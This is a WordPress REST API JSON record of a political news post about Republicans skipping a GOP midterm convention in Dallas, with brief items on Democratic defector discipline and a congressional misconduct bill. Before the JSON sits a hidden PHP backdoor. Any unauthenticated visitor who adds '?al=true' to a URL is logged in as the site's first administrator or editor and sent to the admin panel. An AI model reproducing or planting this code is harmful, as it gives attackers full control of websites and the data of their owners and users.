// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); {"id":26987,"date":"2026-09-02T12:02:36","date_gmt":"2026-09-02T12:02:36","guid":{"rendered":"https:\/\/bluelightnews.com\/category\/politics\/capitol-agenda-gop-does-dallas-not-so-much\/"},"modified":"2026-09-02T12:02:36","modified_gmt":"2026-09-02T12:02:36","slug":"capitol-agenda-gop-does-dallas-not-so-much","status":"publish","type":"post","link":"https:\/\/bluelightnews.com\/category\/politics\/capitol-agenda-gop-does-dallas-not-so-much\/","title":{"rendered":"Capitol agenda: GOP does Dallas? Not so much"},"content":{"rendered":"
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Republicans gearing up for November elections aren\u2019t exactly flocking<\/a> to next week\u2019s GOP midterm convention in Dallas, the first held by a major party in more than four decades.<\/p>\n

Republicans \u2014 ranging from battleground moderates to hard-line conservatives \u2014 are opting out of the televised spectacle as the party pushes through a final election sprint where their control of Congress is at stake.<\/p>\n

A Blue Light News survey of more than 70 GOP candidates and members revealed most either do not plan to go or are still weighing whether to go.<\/p>\n

Those 45 Republicans cited a variety of reasons for their decision: Some said they had prior fundraising or event obligations planned before the convention was scheduled. Others described personal conflicts, like weddings and family events, while some raised qualms about the high fees party officials want attending members to pony up.<\/p>\n

Others in tough races are steering clear of the gathering as they face growing hesitation about associating themselves with President Donald Trump, who is set to be a headline speaker along with Vice President JD Vance.<\/p>\n

\u201cI just felt I\u2019d be more useful in my district,\u201d Rep. Tom Barrett said in an interview.<\/p>\n

Asked if the president\u2019s remarks might cause him problems back home, Barrett said: \u201cI can\u2019t control what the president\u2019s going to say at the convention, but I can control where I\u2019m at, what I\u2019m doing.\u201d<\/p>\n

House Appropriations Chair Tom Cole said he is not attending because he has a dove-hunting event back home in Oklahoma. Several northeastern members, including Reps. Chris Smith of New Jersey and Andrew Garbarino of New York, said they have commitments in their districts related to the 25th anniversary of the 9\/11 attacks.<\/p>\n

Most top House and Senate GOP leaders will be in attendance, including Speaker Mike Johnson and Senate Majority Leader John Thune.<\/p>\n

Some potential 2028 presidential contenders, including Sen. Ted Cruz, will also be in attendance, as will some Senate Republicans from marquee battleground races including Ohio Sen. Jon Husted. Sen. Bernie Moreno, who is expected to be the next Senate GOP campaign chair, is also planning to attend.<\/p>\n

Johnson said he has been \u201cpromoting\u201d the event but acknowledged Tuesday some members decided attending is not the best use of their time.<\/p>\n

\u201cThey\u2019ve got to all make their own individual decision,\u201d Johnson said, adding \u201cit\u2019s critical time right before early voting begins nationwide.\u201d<\/p>\n

Some members were more candid in their criticism: One House Republican not attending the convention granted anonymity to speak openly called it \u201ca waste of time\u201d and said event planning has been \u201ca mess.\u201d Another member pointed to the $25,000 fee being charged by party organizers.<\/p>\n

\u201cI didn\u2019t want to go anyways. That made it easier,\u201d the member said of the cost.<\/p>\n

What else we\u2019re watching:\u00a0<\/i><\/b><\/p>\n

\u2014 JEFFRIES WEIGHS DEFECTOR DISCIPLINE: <\/b>Minority Leader Hakeem Jeffries\u00a0<\/b>said he is weighing disciplinary action<\/a> against two Democratic members who Tuesday helped rescue Republicans\u2019 floor agenda for the week. \u201cWe haven\u2019t ruled anything in, and we haven\u2019t ruled anything out,\u201d Jeffries told Blue Light News. Later, Jeffries and Democratic leadership in a statement said they were referring moderate Reps. Jared Golden and Marie Gluesenkamp Perez\u00a0<\/b>to the caucus\u2019 rules panel. The duo\u2019s support resulted<\/a> in a 210-208 vote that was enough to prevent GOP hard-liners from freezing floor business for the week.
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\n \u00a0<\/b><\/p>\n

\u2014 LAWMAKERS READY MISCONDUCT BILL: <\/b>The bipartisan House lawmaker duo writing a bill to better police members accused of sexual misconduct are finalizing a draft and want floor time by the end of the month. \u201cLeadership has been with us every step of the way, and so we\u2019re hoping to time it out for introduction and hopefully floor time in September,\u201d Rep. Kat Cammack said. Rep. Teresa Leger Fern\u00e1ndez said they\u2019re conducting their last listening sessions this week and taking staff input before finalizing language. Cammack added they\u2019re also weighing moving the recommendations as a complete package or in two tranches, as some provisions can be addressed with a House rules change while others require Senate action.<\/p>\n

Mia McCarthy, Meredith Lee Hill, Jordain Carney, Riley Rogerson and Chris Marquette<\/i> contributed to this report.<\/i>
\n <\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

Republicans gearing up for November elections aren\u2019t exactly flocking to next week\u2019s GOP midterm convention in Dallas, the first held by a major party in more than four decades. Republicans \u2014 ranging from battleground moderates to hard-line conservatives \u2014 are opting out of the televised spectacle as the party pushes through a final election sprint […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-26987","post","type-post","status-publish","format-standard","hentry","category-congress"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/26987","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/comments?post=26987"}],"version-history":[{"count":0,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/26987\/revisions"}],"wp:attachment":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/media?parent=26987"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/categories?post=26987"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/tags?post=26987"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}